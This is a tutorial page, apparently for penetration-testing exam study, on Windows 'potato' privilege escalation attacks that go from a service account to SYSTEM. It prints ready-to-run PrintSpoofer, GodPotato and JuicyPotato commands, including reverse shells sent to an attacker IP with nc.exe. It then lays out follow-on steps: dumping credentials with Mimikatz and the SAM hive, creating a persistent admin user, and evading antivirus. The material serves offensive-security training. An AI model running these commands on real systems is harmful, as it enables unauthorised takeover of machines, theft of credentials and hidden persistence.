Potato Attacks
A family of Windows privilege escalation exploits that abuse token impersonation to go from a service account (SeImpersonatePrivilege) to SYSTEM. Includes JuicyPotato, PrintSpoofer, GodPotato, and more.
What is it?
"Potato attacks" are a family of Windows privilege escalation techniques that all exploit the same core concept: if your account has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can impersonate any token, including SYSTEM.
Which accounts have these privileges by default?
- Service accounts: IIS, MSSQL, and most Windows services
- Network Service
- Local Service
- Any account where an admin has granted it
This means: if you get a shell as a service account (very common through web app exploitation, MSSQL xp_cmdshell, or service exploits), you can almost always escalate to SYSTEM.
Each potato variant uses a different technique to coerce a SYSTEM-level process into authenticating to you, so you can capture its token. As Microsoft patches one technique, researchers find another. The name "potato" stuck from the original "Hot Potato" (2016) and the community kept the theme.
Run this first
Confirm the privilege exists before trying any potato variant.
C:\> whoami /priv C:\> PrintSpoofer64.exe -i -c cmd
whoami /privshows SeImpersonatePrivilege as Enabled if you have it. No privilege, no potato attack.PrintSpoofer64.exe -i -c cmdis the current best first attempt, since it works on most modern patched systems.
You get an interactive SYSTEM shell. If PrintSpoofer fails, GodPotato is the next attempt on recent systems, and JuicyPotato is kept for older, specifically unpatched hosts.
Which potato to use?
Each variant works on different Windows versions. Here's the decision tree:
| Tool | Technique | Windows version | Notes |
|---|---|---|---|
| PrintSpoofer | Abuses the Print Spooler to get a SYSTEM token via named pipe impersonation | Windows 10 / Server 2016-2019 | Simplest and most reliable. Try this first |
| GodPotato | Abuses DCOM/OXID resolver | Windows 8+ / Server 2012+, all versions through 2022 | Works on the widest range. Use if PrintSpoofer fails |
| JuicyPotato | Abuses DCOM/BITS to get SYSTEM token | Windows 7-10 / Server 2008-2016. NOT Server 2019+ | Classic potato. Needs a valid CLSID (varies by OS) |
| SweetPotato | Combines multiple potato techniques | Wide range | Tries multiple methods automatically |
| RoguePotato | Fixed version of JuicyPotato for newer Windows | Server 2019 | Needs a remote listener on your Kali box |
- Try PrintSpoofer first: works on most modern Windows, easiest to use
- If PrintSpoofer fails → try GodPotato: broadest coverage
- Old Server 2008/2012/2016 → JuicyPotato: tried and tested classic
- If nothing works → check if SeImpersonatePrivilege is actually enabled
How do you spot it?
The check is simple: run whoami /priv and look for the magic privilege:
C:\> whoami /priv PRIVILEGES INFORMATION Privilege Name Description State ============================= ============================== ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas Disabled SeImpersonatePrivilege Impersonate a client Enabled <-- THIS ONE SeCreateGlobalPrivilege Create global objects Enabled
If you see SeImpersonatePrivilege → potato attack. That's it. Even if it says "Disabled", it's often still exploitable.
- Web shell on IIS: IIS application pool identity always has it
- MSSQL xp_cmdshell: SQL Server service accounts have it
- Shell as a Windows service: Most service accounts have it
- Reverse shell from a scheduled task running as a service: Has it
How do you use them?
PrintSpoofer (try first)
REM Get an interactive SYSTEM shell C:\> PrintSpoofer64.exe -i -c cmd REM Execute a command as SYSTEM C:\> PrintSpoofer64.exe -c "whoami" nt authority\system REM Get a reverse shell as SYSTEM C:\> PrintSpoofer64.exe -c "C:\temp\nc.exe YOUR_IP 4444 -e cmd.exe"
GodPotato
REM Execute a command as SYSTEM C:\> GodPotato-NET4.exe -cmd "cmd /c whoami" nt authority\system REM Reverse shell C:\> GodPotato-NET4.exe -cmd "C:\temp\nc.exe YOUR_IP 4444 -e cmd.exe" REM Use the right .NET version (check with dir C:\Windows\Microsoft.NET\Framework64\) REM GodPotato-NET2.exe for .NET 2.0/3.5 REM GodPotato-NET4.exe for .NET 4.x
JuicyPotato (older systems)
REM Basic usage: needs a CLSID that runs as SYSTEM C:\> JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {4991D34B-80A1-4291-83B6-3328366B9097} REM -l = COM server listening port (pick any free port) REM -p = program to execute as SYSTEM REM -t = createprocess type (* = try both) REM -c = CLSID (varies by OS version!) REM Execute a reverse shell C:\> JuicyPotato.exe -l 1337 -p C:\temp\rev.exe -t * -c {4991D34B-80A1-4291-83B6-3328366B9097}
JuicyPotato requires a CLSID that corresponds to a COM server running as SYSTEM. The CLSID varies by Windows version. If one fails, try another. Lists of working CLSIDs per OS version are available at the JuicyPotato GitHub wiki. The default one shown above works on many versions of Windows 10.
What do you do with SYSTEM?
Once you're SYSTEM, you own the machine. Here's what to do next:
- Dump credentials: Run Mimikatz
sekurlsa::logonpasswordsto get all cached credentials - Dump SAM:
reg save HKLM\SAM sam.bak+reg save HKLM\SYSTEM system.bak→ transfer to Kali →secretsdump.py -sam sam.bak -system system.bak LOCAL - Check for domain creds: If domain users have logged in to this machine, their hashes are in LSASS memory
- Read flags: On HTB/CPTS, read the root.txt / proof.txt
- Pivot: Check
ipconfig /allfor additional network interfaces → Ligolo-ng - Persist: Create a new admin user, dump hashes for pass-the-hash access later
Common mistakes
- No SeImpersonatePrivilege: Check
whoami /privfirst. If you don't have it, no potato will work. Look for other privesc paths - Wrong .NET version for GodPotato: Check which .NET frameworks are installed. Use
dir C:\Windows\Microsoft.NET\Framework64\. Using NET4 on a NET2-only system = error - JuicyPotato on Server 2019+: It's patched. Use PrintSpoofer or GodPotato instead
- PrintSpoofer and Print Spooler disabled: If the Print Spooler service is stopped/disabled, PrintSpoofer won't work. Try GodPotato
- Antivirus eating the binary: Rename the exe, use a different variant, or try running from a less-monitored directory (e.g.,
C:\Windows\Temp\) - Using the wrong architecture: 64-bit potato on a 32-bit system (or vice versa) will silently fail. Check with
systeminfo | findstr /B /C:"OS"
whoami /priv → SeImpersonatePrivilege? Yes → try PrintSpoofer → failed? → try GodPotato → failed? → try JuicyPotato (if old OS) → still failed? → check if Spooler service is running, try different CLSID, or try SweetPotato
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
What is the one prerequisite every potato variant needs?
SeImpersonatePrivilege, visible with whoami /priv. Without it, none of the potato attacks work.Which potato do you try first on a modern, patched Windows target?
PrintSpoofer fails on a current system. What do you try next?
When is JuicyPotato still the right choice?
PrintSpoofer runs successfully but you want output, not an interactive shell. What changes in the command?
-i -c cmd for -c "command", which runs one command and returns its output instead of opening a shell.